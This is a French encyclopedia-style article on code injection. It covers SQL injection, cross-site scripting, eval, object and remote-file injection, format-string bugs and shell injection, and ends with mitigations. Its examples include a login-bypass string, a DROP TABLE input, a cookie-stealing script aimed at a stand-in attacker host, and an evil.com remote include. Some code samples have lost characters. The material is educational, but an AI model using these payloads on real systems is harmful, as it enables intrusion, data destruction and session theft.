Injection SQLModifier
L’injection SQL profite de la syntaxe de SQL pour injecter des commandes qui peuvent lire ou modifier une base de données, ou compromettre le sens de la requête originale.
Par exemple, considérons une page web qui a deux champs pour permettre aux utilisateurs de saisir un nom d’utilisateur et un mot de passe. Le code derrière la page va générer une requête SQL pour vérifier le mot de passe par rapport à la liste des noms d’utilisateurs :
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'
Si cette requête renvoie des lignes, alors l’accès est accordé. Cependant, si l’utilisateur malveillant entre un nom d’utilisateur valide et injecte un certain code valide (password' OR '1'='1
) dans le champ du mot de passe, alors la requête résultante ressemblera à ceci:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'
Dans l’exemple ci-dessus, « Password » est supposé être vide ou une chaîne inoffensive. « '1'='1'
» sera toujours vrai et de nombreuses lignes seront retournées, permettant ainsi l’accès.
La technique peut être affinée pour permettre l’exécution de plusieurs instructions, ou même pour charger et exécuter des programmes externes.
Supposons une requête ayant le format suivant :
SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '
Si un adversaire a les éléments suivants pour entrées :
UserID: ';DROP TABLE User; --'
Password: 'OR"='
la requête sera analysée comme suit :
SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
Le résultat est que la table User
sera retirée de la base de données. Cela se produit parce que le symbole ;
signifie la fin d’une commande et le début d’une nouvelle. Le symbole --
signifie le début d’un commentaire.
Cross-site scriptingEdit
L’injection de code est l’injection ou l’introduction malveillante de code dans une application. Certains serveurs web ont un script de livre d’or, qui accepte les petits messages des utilisateurs, et reçoit généralement des messages tels que :
Very nice site!
Cependant, une personne malveillante peut connaître une vulnérabilité d’injection de code dans le livre d’or, et entrer un message tel que :
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Si un autre utilisateur visualise la page, alors le code injecté sera exécuté. Ce code peut permettre à l’attaquant de se faire passer pour un autre utilisateur. Cependant, ce même bug logiciel peut être déclenché accidentellement par un utilisateur non prétentieux, ce qui aura pour effet d’afficher un mauvais code HTML sur le site web.
L’injection de script et de HTML est un sujet populaire, communément appelé « cross-site scripting » ou « XSS ». XSS se réfère à une faille d’injection par laquelle l’entrée de l’utilisateur dans un script web ou quelque chose de ce genre est placé dans le HTML de sortie, sans être vérifié pour le code HTML ou le script.
Plusieurs de ces problèmes sont liés à des hypothèses erronées sur les données d’entrée possibles, ou les effets des données spéciales.
Vulnérabilités d’évaluation dynamiqueModification
Une vulnérabilité d’injection eval()
se produit lorsqu’un attaquant peut contrôler tout ou partie d’une chaîne d’entrée qui est introduite dans un appel de fonction eval()
.
$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');
L’argument de « eval
» sera traité comme PHP, de sorte que des commandes supplémentaires peuvent être ajoutées. Par exemple, si « arg » est défini à « 10; system('/bin/echo uh-oh')
« , un code supplémentaire est exécuté qui exécute un programme sur le serveur, dans ce cas « /bin/echo
« .
Injection d’objetEdit
PHP permet la sérialisation et la désérialisation d’objets entiers. Si une entrée non fiable est autorisée dans la fonction de désérialisation, il est possible d’écraser les classes existantes dans le programme et d’exécuter des attaques malveillantes. Une telle attaque sur Joomla a été trouvée en 2013.
Injection de fichier à distanceEdit
Considérons ce programme PHP (qui inclut un fichier spécifié par requête):
<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');
L’exemple pourrait être lu comme si seuls les fichiers de couleur comme blue.php
et red.php
pouvaient être chargés, alors que les attaquants pourraient fournir COLOR=http://evil.com/exploit
provoquant le chargement du fichier externe par PHP.
Injection de spécificateur de formatEdit
Les bogues de chaîne de format apparaissent le plus souvent lorsqu’un programmeur souhaite imprimer une chaîne contenant des données fournies par l’utilisateur. Le programmeur peut écrire par erreur printf(buffer)
au lieu de printf("%s", buffer)
. La première version interprète buffer
comme une chaîne de format, et analyse les instructions de formatage qu’elle peut contenir. La deuxième version imprime simplement une chaîne à l’écran, comme le programmeur l’a prévu.Considérez le programme C court suivant qui a une variable locale char array password
qui contient un mot de passe ; le programme demande à l’utilisateur un entier et une chaîne, puis fait écho à la chaîne fournie par l’utilisateur.
char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
Si l’entrée de l’utilisateur est remplie d’une liste de spécificateurs de format tels que %s%s%s%s%s%s%s%s
, alors printf()
commencera à lire à partir de la pile. Finalement, l’un des spécificateurs de format %s
accèdera à l’adresse de password
, qui se trouve sur la pile, et imprimera Password1
à l’écran.
Injection de shellEdit
L’injection de shell (ou injection de commande) est nommée d’après les shells Unix, mais s’applique à la plupart des systèmes qui permettent aux logiciels d’exécuter programmatiquement une ligne de commande. Voici un exemple de script tcsh vulnérable:
#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches
Si ce qui précède est stocké dans le fichier exécutable ./check
, la commande shell ./check " 1 ) evil"
tentera d’exécuter la commande shell injectée evil
au lieu de comparer l’argument avec la constante. Ici, le code attaqué est le code qui essaie de vérifier le paramètre, le code même qui aurait pu essayer de valider le paramètre afin de se défendre contre une attaque.
Toute fonction qui peut être utilisée pour composer et exécuter une commande shell est un véhicule potentiel pour lancer une attaque par injection shell. Parmi celles-ci figurent system()
, StartProcess()
et System.Diagnostics.Process.Start()
.
Les systèmes client-serveur tels que l’interaction entre le navigateur web et les serveurs web sont potentiellement vulnérables à l’injection de shell. Considérons le court programme PHP suivant qui peut être exécuté sur un serveur web pour exécuter un programme externe appelé funnytext
afin de remplacer un mot que l’utilisateur a envoyé par un autre mot.
<?phppassthru("/bin/funnytext " . $_GET);
Le passthru
dans ce qui précède compose une commande shell qui est ensuite exécutée par le serveur web. Comme une partie de la commande qu’il compose est reprise de l’URL fournie par le navigateur web, cela lui permet d’injecter des commandes shell malveillantes. On peut injecter du code dans ce programme de plusieurs façons en exploitant la syntaxe de diverses fonctionnalités du shell (cette liste n’est pas exhaustive) :
Fonctionnalité du shell | USER_INPUT valeur |
Commande shell résultante | Explication |
---|---|---|---|
Exécution séquentielle | ; malicious_command |
/bin/funnytext ; malicious_command |
Exécute funnytext , puis exécute malicious_command . |
Pipeline | | malicious_command |
/bin/funnytext | malicious_command |
Envoie la sortie de funnytext comme entrée à malicious_command . |
Substitution de commande | `malicious_command` |
/bin/funnytext `malicious_command` |
Envoie la sortie de malicious_command comme arguments à funnytext . |
Substitution de commande | $(malicious_command) |
/bin/funnytext $(malicious_command) |
Envoie la sortie de malicious_command comme arguments à funnytext . |
ET liste | && malicious_command |
/bin/funnytext && malicious_command |
Exécute malicious_command si funnytext renvoie un état de sortie de 0 (succès). |
OR liste | || malicious_command |
/bin/funnytext || malicious_command |
Exécute malicious_command iff funnytext renvoie un état de sortie non nul (erreur). |
Redirection de la sortie | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
Efface le contenu du fichier .bashrc avec la sortie de funnytext . |
Redirection d’entrée | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
Envoie le contenu du fichier .bashrc en entrée de funnytext . |
Certains langages offrent des fonctions permettant d’échapper ou de citer correctement les chaînes de caractères utilisées pour construire les commandes du shell :
- PHP :
escapeshellarg()
etescapeshellcmd()
- Python :
shlex.quote()
Cependant, cela impose toujours aux programmeurs de connaître/apprendre ces fonctions et de se souvenir de les utiliser à chaque fois qu’ils utilisent des commandes shell. En plus de l’utilisation de ces fonctions, la validation ou l’assainissement de l’entrée utilisateur est également recommandée.
Une alternative plus sûre consiste à utiliser des API qui exécutent des programmes externes directement, plutôt qu’à travers un shell, empêchant ainsi la possibilité d’injection de shell. Cependant, ces API ont tendance à ne pas prendre en charge diverses fonctionnalités pratiques des shells, et/ou à être plus lourdes/verbeuses par rapport à la syntaxe concise des shells.